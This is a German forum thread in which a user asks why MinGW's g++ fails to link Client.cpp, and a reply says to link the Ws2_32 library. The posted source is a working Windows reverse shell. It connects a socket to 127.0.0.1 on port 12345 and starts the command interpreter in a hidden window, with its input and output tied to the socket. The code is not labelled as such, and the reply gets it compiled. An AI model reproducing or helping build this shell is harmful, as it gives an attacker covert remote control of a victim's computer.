MinGw, compilationsfehler
-
Hallo! Wenn ich ein Programm mit g++ kompiliere bekomme ich folgende Fehlermeldungen:
C:\aha>g++ -mwindows Client.
cpp
C:\DOKUME1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0x22): undefined ref
erence toWSAStartup@8' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0x59): undefined ref erence to
WSASocketA@24'
C:\DOKUME1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0x95): undefined ref
erence tohtons@4' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0xab): undefined ref erence to
inet_addr@4'
C:\DOKUME1\aha\LOKALE1\Temp/ccrpaKBA.o:Client.cpp:(.text+0xd4): undefined ref
erence toconnect@12' C:\\DOKUME~1\\aha\\LOKALE~1\\Temp/ccrpaKBA.o:Client.cpp:(.text+0x21a): undefined re ference to
closesocket@4'
collect2: ld returned 1 exit statusFolgende Datei ist es:
//--------------------------------------------------------------------------- #pragma comment(lib, "Ws2_32.lib") #include <winsock2.h> #include <stdio.h> __fastcall int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA WSAData; SOCKADDR_IN sin; SOCKET sock; WSAStartup( MAKEWORD( 2, 0 ), &WSAData ); sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 ); memset(&sin,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten sin.sin_family=AF_INET; sin.sin_port=htons(12345); // wir verwenden mal port 12345 sin.sin_addr.s_addr=inet_addr("127.0.0.1"); // zielrechner ist unser eigener long rc=connect(sock,(SOCKADDR*)&sin,sizeof(SOCKADDR)); if(rc==SOCKET_ERROR) return 1; while( true ) { //SOCKET tmp = accept( sock, 0, 0 ); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; char buff[ 2010 ]; si.cb = sizeof( si ); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = ( HANDLE )sock; si.hStdError = ( HANDLE )sock; si.hStdInput = ( HANDLE )sock; GetEnvironmentVariable( "COMSPEC", buff, 2000 ); CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( sock ); } return 0; } //---------------------------------------------------------------------------
-
Du musst die Ws2_32-Bibliothek schon mitlinken.
g++ -lWs2_32 -mwindows -o client client.cpp